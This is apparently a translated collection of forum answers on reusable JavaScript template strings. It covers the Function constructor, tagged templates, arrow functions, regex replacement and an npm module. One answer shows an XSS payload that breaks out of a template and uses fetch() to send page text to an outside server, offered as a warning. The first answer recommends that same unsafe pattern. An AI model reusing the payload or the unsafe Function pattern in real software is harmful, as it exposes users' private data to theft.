为了使这些文字像其他模板引擎一样工作，需要一个中间形式。

最好的方法是使用Function构造函数。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样，您可以从其他地方（如文件）获取该字符串。

使用这种方法可能会出现一些问题，例如模板标签难以使用，但如果您很聪明，可以添加这些问题。由于后期插值，您也无法使用内联 JavaScript 逻辑。这也可以通过一些想法来补救。

您可以在函数中放置模板字符串：

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

您可以使用标记模板执行相同的操作：

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

这个想法是让模板解析器从变量“slots”中分离出常量字符串，然后返回一个函数，每次都基于一组新值将它们全部修补在一起。

可能最干净的方法是使用箭头函数（因为此时，我们已经在使用 ES6）

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...对于标记的模板文字：

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

这也避免了使用 eval()orFunction()会导致编译器出现问题并导致大量减速。

是的，您可以通过Function(或eval)将带有模板的字符串解析为 JS 来实现- 但不推荐这样做并允许XSS 攻击

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

相反，您可以安全地将对象obj字段以str动态方式插入模板，如下所示

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

2019 答案：

注意：该库最初希望用户清理字符串以避免 XSS。该库的第 2 版不再需要清理用户字符串（Web 开发人员无论如何都应该这样做），因为它eval完全避免了。

es6-dynamic-templatenpm上的module就是这样做的。

const fillTemplate = require('es6-dynamic-template');

与当前的答案不同：

• 它使用 ES6 模板字符串，而不是类似的格式。更新版本 2 使用类似的格式，而不是 ES6 模板字符串，以防止用户使用未经处理的输入字符串。
• 它不需要this在模板字符串中
• 您可以在单个函数中指定模板字符串和变量
• 它是一个维护的、可更新的module，而不是 StackOverflow 中的 copypasta

用法很简单。使用单引号作为模板字符串将在稍后解析！

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});